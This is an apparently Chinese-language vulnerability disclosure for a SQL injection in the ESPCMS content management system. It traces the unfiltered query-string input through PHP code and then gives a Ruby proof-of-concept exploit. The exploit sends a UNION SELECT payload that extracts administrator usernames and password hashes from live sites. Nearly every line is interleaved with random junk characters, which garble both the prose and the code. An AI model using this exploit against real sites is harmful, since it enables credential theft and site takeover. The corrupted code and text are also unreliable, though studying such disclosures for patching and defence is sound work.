0×0 漏洞概述0×1 漏洞细节, i9 u0 B$ G* J2 m( D' m+ l
0×2 PoC0 Y# P, K+ ~- C2 c* m0 H2 g0 L* Z: k
6 y5 N9 f% x3 K9 H% r4 u! G4 p, X: I# x! B+ x Z
# t( L' X- p' |4 L; c/ D+ N0×0 漏洞概述5 Q' e( [3 a: l" K, ?# G% G
6 N# G% _; |7 X M易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。$ u6 c3 ` Q) h. T
其在处理传入的参数时考虑不严谨导致SQL注入发生5 K! B, \8 f, s/ n, a$ ]
. L/ q% g& V6 V# T4 R: m& h6 V
3 U6 O8 {* D$ Q% l8 @3 b0×1 漏洞细节
9 n- |, o: ?/ A0 E2 h; n' N
7 O) X% Y. V$ X5 t- K' s变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。" Y3 n }) G C. F: b# S8 \3 z
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。 P! A# q) W. H/ r8 ?, A6 L
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。8 |; }# c7 ?8 c1 y! k
0 N* w; B, A- Z# o R- k
在/interface/3gwap_search.php文件的in_result函数中:
- C2 r2 l2 |1 ]2 b* a4 E
7 e9 q4 F* h# ^# X2 i
/ n* }1 G0 Z% G: e
7 Y6 O! h, k C5 q7 i9 `; K function in_result() {7 j* X. r8 F" l2 u5 | P
... ... ... ... ... ... ... ... .../ h1 h7 Y; B J, n* ~
$urlcode = $_SERVER[ 'QUERY_STRING '];$ X% ?, T/ D( R! C# I: T* }
parse_str(html_entity_decode($urlcode), $output);0 m/ p! s/ X `' b# M/ r
& W2 F" }! \! t0 C: d2 n& O ... ... ... ... ... ... ... ... ...
% T+ e! ?1 T/ H0 G+ N1 A' M6 ? if (is_array($output['attr' ]) && count($output['attr']) > 0) {+ }+ f/ Z! @/ t) P& ^5 \
1 s# S! ?6 t" y2 n/ L: i. }. @0 o $db_table = db_prefix . 'model_att';
$ y1 l. H% E- j$ f5 q1 U8 U
# R; p, D7 r+ C, [5 K; E- } foreach ($output['attr' ] as $key => $value) {
7 Y+ y0 z" d! P5 s3 \! \5 p g" b! ^ if ($value) {
5 y( r% }. Q$ ]/ E1 W2 E2 N) p$ ?6 p" n) z
$key = addslashes($key);* K. c, j% m7 w0 K* m" H
$key = $this-> fun->inputcodetrim($key);. e' ~/ y5 Y6 V7 j3 p% E& p
$db_att_where = " WHERE isclass=1 AND attrname='$key'";5 d4 B) X1 T( _- y
$countnum = $this->db_numrows($db_table, $db_att_where);
, j1 W' k0 m i if ($countnum > 0) {6 N+ ]& c0 y+ Q0 V2 D6 R5 P4 w
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
5 Q: L* [ S- L. J' w }2 n( N! ~3 l7 Y8 a. t' J
}8 `) c) u/ q- B. R+ G
}
: I1 r! w, F2 q }9 n' m T; `0 d7 |6 Q& c7 q( L1 E* [% S
if (!empty ($keyword) && empty($keyname)) {/ P C( x$ p! L9 W/ v) F/ j
$keyname = 'title';
& K+ }6 O! @8 d0 m5 F M $db_where.= " AND a.title like '%$keyword%'" ;
8 _" c/ S3 v9 Y9 Q, p! c } elseif (!empty ($keyword) && !empty($keyname)) {
! h) U/ g7 T1 L$ K: P7 W- T $db_where.= " AND $keyname like '% $keyword%'";4 u1 K7 |1 A7 v/ G
}: E% T# R$ x. M0 R
$pagemax = 15;- a- l: F3 |4 T( S. J( W$ H$ t* d1 @- {
% r, B: r0 K+ o6 ?
$pagesylte = 1;3 l+ G8 N% ^$ J4 M9 k9 _
4 W( [+ v# x% O" |
if ($countnum > 0) {- z; E# ]4 {- k1 T$ S7 i: Z! E
5 {9 d5 p1 U t7 F2 |5 [ $numpage = ceil($countnum / $pagemax);2 R1 \8 `0 q" y; g
} else { O" J. q9 ~+ Y' \7 S* u- ?; ^, F
$numpage = 1;
6 Z: |8 H) g) p7 `4 n# ?- u' C }
9 w+ A+ v5 f# }8 c4 {( ? $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;. ~( m U" U" [- ]$ v* @) w
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);" P }3 d; z- x: w3 Y- x3 n
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
2 Z+ B/ `6 M8 c' _' T* B) z ... ... ... ... ... ... ... ... ...3 n# T! d: q. Z/ D+ s
}
* \" |- `- s+ p% L! Z# }3 Z
$ A! y0 y) U9 @6 D, e
0 g. P [1 U9 D) K1 v/ f6 t, L0×2 PoC. s; b, N, s8 B2 B2 m+ N
* K. W$ `) `2 e
8 L0 S7 e: S+ ^8 r. j& a
' H9 U4 C% X8 {+ t4 Y
require "net/http"
% p" i: k' C' C5 I" h/ t- \/ c6 i( J9 l/ y
def request(method, url)5 r% i3 u* x0 Z
if method.eql?("get")6 z- k0 s) S9 {) O+ }2 n! G9 T
uri = URI.parse(url)8 q$ `$ U9 R" P
http = Net::HTTP.new(uri.host, uri.port)# |/ l, |& h) [) a7 x9 V& v0 ]8 B
response = http.request(Net::HTTP::Get.new(uri.request_uri))5 }. N4 A& k$ c. [0 U' s
return response
6 T& E9 n5 V" C5 D end* Z0 m% B6 Y' m5 d1 E
end
- P. T6 M2 Y+ t% @0 p5 E/ U7 |1 s
doc =<<HERE
* U+ F; y" S/ L-------------------------------------------------------
9 l0 H+ z- p( j; }; Z! xEspcms Injection Exploit
" p+ v& M, g5 t# lAuthor:ztz
8 P. x8 k. Z% l: O' @$ h0 W5 @8 |Blog:http://ztz.fuzzexp.org/
; O1 [( w- Q0 F" Z4 \/ t& h8 q- P5 n-------------------------------------------------------
5 d. x( h% e4 c4 j/ V8 P2 Z
4 m! T, G% b% Q" _" PHERE6 {: x5 Q' t# K5 [
# R$ E5 z4 ~8 k9 D: X! Z# cusage =<<HERE
" |( `3 F) P# v j4 e, rUsage: ruby #{$0} host port path6 n* }- o. w7 r
example: ruby #{$0} www.target.com 80 /& x h5 g/ j: M/ c9 B0 M
HERE
8 _' o6 ]8 F3 ^7 h1 h9 b/ y( [
6 R: H6 b3 {3 |$ w3 b# ]0 ?. {2 [puts doc; P% _; H; n1 R) V& u
if ARGV.length < 32 M7 B+ z a3 S3 Y8 c; m3 ]
puts usage. v7 Q- I+ ~0 v( ]& ~% A: i( R
else
+ M7 N: _/ N$ s9 U$ S $host = ARGV[0]
% N: S$ \# a. F% S) \1 ? $port = ARGV[1]
3 h+ T0 L& y* Q/ C0 E& n" M $path = ARGV[2]
; {1 n. O/ G( B! Q: m% t9 B1 A2 i
( H9 H! X! V- y8 g- l9 T3 d puts "send request..."- X, z$ x/ m( }- ?* p% E9 F2 U
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
& `; q7 [1 g& E# n. w! Yattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13# B- y9 y6 Y" M/ V5 i, }6 X( h6 H( V
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27% A% C5 |" r. u* {0 N
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
( { O1 S( a9 R5 d9 ] response = request("get", url)8 t' K/ `/ s# n: K: K
result = response.body.scan(/\w+&\w{32}/)" {2 T9 }" \& X" t" g2 T
puts result
' h5 l) P/ ?+ ?7 X2 ~$ jend/ i2 e& N) @7 R& x
, F+ s2 I+ m; D, R |